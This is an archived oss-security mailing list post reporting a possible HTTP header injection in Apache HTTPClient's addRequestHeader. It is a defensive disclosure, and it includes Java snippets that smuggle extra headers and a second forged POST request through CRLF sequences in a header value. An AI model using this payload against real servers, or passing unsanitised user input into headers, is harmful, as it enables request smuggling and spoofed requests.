Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Message-ID: <CABNh_tLguWN_n535Bw4m4VgHmJzJmfg+VEz6jhJ-0sCddqWDRg@mail.gmail.com>
Date: Thu, 10 Jan 2013 15:38:57 +0100
From: chevalier 3as <chevalier3as@...il.com>
To: oss-security@...ts.openwall.com
Subject: Potential HTTP Header Injection in Apache HTTPClient

Hi,

As I'm not sure if this is a vulnerability or simply a 'feature', I'm
posting the details for more information.

The addRequestHeader method of the Apache HTTPClient module version
3.x seems to allow the injection of more than a header (potentilally
the latest version 4.x too for addHeader method):

Using the following code, it includes a third header in the request:
        HttpClient client = new HttpClient();
        PostMethod method = new PostMethod("http://www.google.fr");
        method.addRequestHeader("header1", "value1\r\nheader3: value3");
        method.addRequestHeader("header2","value2");


The real risk is adding a second request using a similar code:
req.addRequestHeader("Content-Length:0\r\n\r\n" +
"POST\t/anotherpath\tHTTP/1.1\r\n" +
"Host:host\r\n" +
"Referer:faked\r\n" +
"User-Agent:faked\r\n" +
"Content-Type:faked\r\n" +
"Content-Length:3\r\n" +
"\r\n" +
"foo\n",
"bar");

Because of the Content-Length header, the sever will consider it as a
seperate request.

Iis this an expected behavior ? if so developpers should be aware of
the risk letting a user input values.

A similar advisory for Flash is available here:
http://www.rapid7.com/resources/advisories/R7-0026.jsp

My 2 cents,
As

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.